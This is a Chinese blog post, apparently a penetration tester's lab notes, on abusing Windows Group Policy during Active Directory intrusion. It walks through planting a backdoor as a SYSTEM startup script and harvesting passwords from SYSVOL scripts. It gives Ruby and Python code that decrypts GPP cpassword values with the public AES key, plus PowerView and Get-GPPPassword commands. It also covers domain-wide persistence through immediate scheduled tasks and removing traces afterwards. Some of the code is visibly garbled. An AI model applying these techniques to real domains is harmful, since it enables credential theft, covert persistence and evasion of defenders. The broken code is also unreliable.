浅析域渗透中的组策略利用
浅析域渗透中的组策略利用
0x0 前言
最近在实战过程和比赛过程都遇到了这个点,发现攻击面其实挺宽广的,这里记录下自己的分析和学习过程。
0x1 多域环境
test.local 域
DC: 10.211.55.38
win2012
Administrator 123QWEqwe!@#
User:
10.211.55.42 (静态IP) hostname:xq17
win2008
10.211.55.41 ( 静态IP) hostname:John
win7
OU:
运维部 John 123QWEqwe!@#
行政部 BOb 123QWEqwe!@#
test1.local
DC: 192.168.0.10
win 2008
Administrator 123QWEqwe!@#
User:
192.168.0.11 ( 静态IP) hostnme:win10
window 10 专业版
想复现GPP漏洞的话,建议使用win2008 版本
为了研究多域环境下的信息关系和域移动,所以我搭建了个多域环境(可以忽略)
0x2 组策略的认识
组策略(英语:Group Policy)是微软Windows NT家族操作系统的一个特性,它可以控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。组策略的其中一个版本名为本地组策略(缩写“LGPO”或“LocalGPO”),这可以在独立且非域的计算机上管理组策略对象。
通过使用组策略,你可以设置策略设置一次,然后将该设置复制到多台计算机上。 例如,你可以在链接到域的 GPO 中设置多个 Internet Explorer11 安全设置,然后将所有这些设置应用到域中的每台计算机。
根据作用范围不同组策略可划分为多种,并且拥有自己的执行顺序和继承原则。
0x2.1 本地组策略(LGP)
本地组策略(Local Group Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机。至少Windows XP家庭版中它就已经存在,并且可以应用到域计算机。在Windows Vista以前,LGP可以强制施行组策略对象到单台本地计算机,但不能将策略应用到用户或组。从Windows Vista开始,LGP允许本地组策略管理单个用户和组,并允许使用“GPO Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。
这里演示下利用本地组策略来加载我们的后门程序
这里我直接用CS生成一个window的后门svghost.exe
开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性
点击显示文件:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
把我们的后门程序复制到这个路径然后这个脚本开机就会自动加载执行了。
当我们重新启动的时候,发现直接以system权限加载了我们的程序。
这里还有个powershell脚本能进一步实现我们程序的伪装和免杀。
关于这个利用其实还有很多方式,比如执行命令启动guest用户定期发送管理员密码等等操作,但是缺点也很明显,就是这个目录一般都会被杀毒工具、或者蓝队进行针对性的排查。
0x2.1 域组策略
当机器安装了域环境的时候系统管理工具会多出一个功能(组策略管理)通过它,域管理员能够很方便统一地对域内的机器和用户进行统一管理。
域管理员经常会面对一个这样的问题域成员机子的默认本地管理员密码过于简单,想进行批量修改的时候,这个时候就可以利用组策略来进行任务的批量下发。
- 1.通过在域中下发脚本来执行
- 2.在组策略首选项GPP中进行设置
- 3.本地管理员密码解决方案:LAPS(不细说这个内容,这是解决这个问题很好的方案)
首先我们需要了解下AD域中两个默认的共享文件夹:SYSVOL
NETLOGON
net share
NETLOGON目录
挂载点:SYSVOL\domain\SCRIPTS
主要存放的是一些脚本信息,是AD活动目录安装时候自动创建的,是在sysvol
下面的一个子目录文件夹。
SYSVOL目录
SYSVOL目录是AD域中的一个
共享
文件夹,该文件夹在AD活动目录安装时候被创建。通常用来存放组策略数据 和 一些脚本 配置文件,这些策略和脚本将用于传递给域成员机器。 此外,域控机器之间因为要自动同步域数据,SYSVOL文档允许该域内的所有DC机之间进行复制,并且所有的AD用户都可以访问它
在域中,用户登录(计算机)时,会首先在SYSVOL文件查找GPO和启动脚本。同时,为了保证系统的正常运行,必须为SYSVOL保留足够的空间缓存,而且不能随意删除、改动该文件夹,要不然会出现一些组策略无法启用等报错信息。
该目录由于针对的是域内所有机器和用户,所以域内中的合法用户均可以访问和执行该目录的文件。(普通的域用户也可以)
如果我们去掉这个权限:
GPO
组策略对象,GPO(Group Policy Object),实际上就是组策略设置的集合。
你可以用GPO来存储不同的组策略信息,然后作用在指定OU或者指定作用范围发挥作用。
默认安装完AD之后,系统默认会存在两个组策略对象
Default Domain Policy
唯一ID(GUID):{31B2F340-016D-11D2-945F-00C04FB984F9} (都是相同的)
默认域策略
Windows Server 2008 creates a Default Domain Policy GPO for every domain in the forest. This domain is the primary method used to set some security-related policies such as password expiration and account lockout.
存放的路径:
C:\Windows\SYSVOL\sysvol\test1.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
Default Domain Controllers Policy
唯一ID(GUID):{6AC1786C-016F-11D2-945F- 00C04FB984F9} (都是相同的)
默认域控制器策略
管理目标“Domain Controllers”容器,影响“Domain Controllers”容器中的域控制器,域控制器账户单独保存在该容器中。
不难看到这个GPO作用的范围是DC这个OU相应的执行优先级如下图
GPP
组策略首选项(Group Policy Preference GPP) 借助了组策略对象(Group Policy Oject GPO) 实现了对域中所有资源的管理。
组策略首选项,是Windows2008中新增加
的一套客户端插件,由20多个新的客户端拓展组成,可以用来完成很多组策略无法进行的系统及用用配置,例如:驱动映射、管理本地组和用户等等。
我们可以看到GPP里面自定义了很多操作,比如本地用户和组的密码控制、计划任务等
在GPP出现之前,很多统一管理的操作只能通过脚本来实现,而GPP方便和简化了这样的管理GPP你可以将其理解为一个功能点作用是简单化、规范化组策略的发布和使用。
0x3 域组策略的利用
0x3.1 读取脚本中密码
这里我用一个例子来说明域组策略是怎么加载脚本作用到域内机器的。
strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator user")
objUser.SetPassword "123QWEQWE!@#"
objUser.SetInfo
这里我们保存这个脚本为cpass.vbs
这个脚本的左右那就是修改本地管理员账户的密码为
123QWEQWE!@#
这里我直接在域策略的GPO下面直接用脚本来下发这个脚本
这里为了演示效果我们在John的机器上进行强制更新组策略。
gpupdate /force
我们可以在域用户JOHN中通过搜索脚本文件比如*.vbs
*.bat
来找到
搜索SYSVOL的下的脚本命令如果有其他更好的思路和工具,希望师傅能指点下。
shell for /r \\dc/sysvol %i in (*.vbs) do @echo %i
shell for /r \\dc/sysvol %i in (*.bat) do @echo %i
关于这个利用,在实战中还是有的,这个思路我是看一篇实战文档知道的。
0x3.2 GPP漏洞的利用
GPP漏洞只在2008没打补丁版本上存在,超过2008版本的系统是没办法写入密码的。
这个漏洞的产生原因是 使用了GPP功能,如果输入了用户的密码的话,那么密码就会以AES 256加密的形式存储在SYSVOL文件夹下的以XML后缀结尾的文件中,这个密码的加密密钥由微软官方给出可以进行解密,但是如果打补丁或者高版本的话,GPP服务是不能输入密码的了,这个漏洞也就相应不存在了。
输入密码项是被禁用的。
下面我们来演示下怎么在CS下获取到GPP泄露的密码:
这里我们在dc2008新建一个OU组: GPPVuln
然后在该OU上我们新建个使用了GPP的本地用户密码的策略。
获取到该GPO的ID:{A7797762-FD8F-4B74-803E-BAE362BCC905}
然后我们根据该ID去SYSVOL搜索即可得到该目录下的文件
C:\Windows\SYSVOL\sysvol\test1.local\Policies\{A7797762-FD8F-4B74-803E-BAE362BCC905}\Machine\Preferences\Groups
可以看到在该Groups目录下的文件立马就可以看到我们设置gpptest用户名对应的加密的密码HtReckysr1Y4zM8/Mwe9TN4Fbi2L8JU3/PvW9NffrA0
这个密码的解密方式有很多种这里给出我最常用的两种:
- RUBY的一个脚本
gppdecrypt.rb
require 'rubygems' require 'openssl' require '64' encrypted_data = ARGV def decrypt(encrypted_data) padding = "=" * (4 - (encrypted_data.length % 4)) epassword = "#{encrypted_data}#{padding}" decoded = Base64.decode64(epassword) key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") aes.decrypt aes.key = key plaintext = aes.update(decoded) plaintext << aes.final pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion return pass end blah = decrypt(encrypted_data) puts blah
2.Gppprefdecrypt.py
#!/usr/bin/python # # Gpprefdecrypt - Decrypt the password of local users added via Windows 2008 Group Policy Preferences. # # This tool decrypts the cpassword attribute value ded in the Groups. file stored in the domain controller's Sysvol share. # import sys from Crypto.Cipher import AES from 64 import b64decode # Init the key # From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2 key = """ 4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b """.replace(" """).replace("\n""").decode('hex') # Add padding to the 64 string and decode it cpassword = "HtReckysr1Y4zM8/Mwe9TN4Fbi2L8JU3/PvW9NffrA0" cpassword += "=" * ((4 - len(cpassword) % 4) % 4) password = b64decode(cpassword) # Decrypt the password o = AES.new(key AES.MODE_CBC "\x00" * 16).decrypt(password) # Print it print o[:-ord(o[-1])].decode('utf16')
Services\Services.
ScheduledTasks\ScheduledTasks.
Printers\Printers.
Drives\Drives.
DataSources\DataSources.
我们也要关注该目录下的其他XML文件。
这里不仅仅是修改本地用户密码这个GPP存在,比如计划任务等需要写入用户密码文件都可能存在这个问题,那么如何在域内进行快速的该类信息收集呢?
这里笔者以CS环境为例:
1.命令行下搜索
dir /s /a \\DC\SYSVOL\*.
2.Get-GPPPassword.ps1的使用
使用powershell-import
导入Get-GPPPassword.ps1
powershell Get-GPPPassword
加载该函数
这个powershell脚本会自动遍历SYSVOL下的敏感文件并且将密码解密
3.针对性用户查找这里我们可以使用powerview
这里我们以de1ctf中的wp中的思路自己走一遍那个流程。
我们在指定的GPPVuln
这个OU中添加个账户
下面我们演示如何在域中根据该用户名称来进行针对性的GPP搜索
简单的信息收集:
1.查看域内共享
powershell get-domaincomputer|get-netshare
2.查看域用户信息
powershell Get-DomainUser -identity gpptest
可以看到该用户属于GPPVuln的OU组
3.查看OU组信息
powershell Get-DomainOU
发现有个GPO的链接信息,然后我们根据这个GPUD去相应的文件夹进行搜索就可以了。
0x3.3 后门利用
这个后门的利用的前提是我们已经拿下了域控的权限。
通过GPO我们可以指定控制OU下的所有用户,比如批量下发木马或者进行其他操作。
1.直接的方式
比如简单和暴力的方式就是直接将我们的木马当成脚本放在域策略或者自己新建个GPO然后在启动|关闭中放入我们的木马然后将该GPO链接到你想搞的OU下这样就可以实现定向打击这种感觉比较明显吧很容易就可以排查出来了。
2.计划任务实现远程执行
这种方式能够按照时间定时的收集信息,相对来说比较隐蔽。
这里演示下如何使用New-GPOImmediateTask.ps1
1.导入powershell中管理GPO的模块&创建一个作用整个域的GPO
Import-Module GroupPolicy –verbose
new-gpo -name TestGPO | new-gp -Target "dc=test1dc=local"
2.执行脚本添加计划任务
New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc\sysvol\test1.local' -CommandArguments '-c "123 | Out-File C:\test\debug.txt"'
3.强制更新组策略,或者默认等待90分组等待组策略强制更新
Invoke-GPUpdate -Computer "TEST\COMPUTER-01"
4.清理痕迹
Remove-GPO -Name TestGPO
0x4 总结
本文由于作者水平所限,可能诸多纰漏,希望师傅们能拍砖指出,带带我这个菜鸡萌新。同时,也希望能加入域渗透大佬的交流圈,有很多问题想请教大佬们,ddddhm。
0x5 参考链接
Windows 2008 GPP漏洞学习
搭建一个简单的Windows域环境
『权限提升系列』- 组策略首选项提权
Window server 2012 R2 AD域的组策略设置
windows组策略实验-本地组策略和域控组策略
从活动目录获取域管理员权限的各种姿势)
Active Directory域渗透的权限持久控制之组策略
从零开始内网渗透学习
Hard_Pentest
域渗透——利用SYSVOL还原组策略中保存的密码)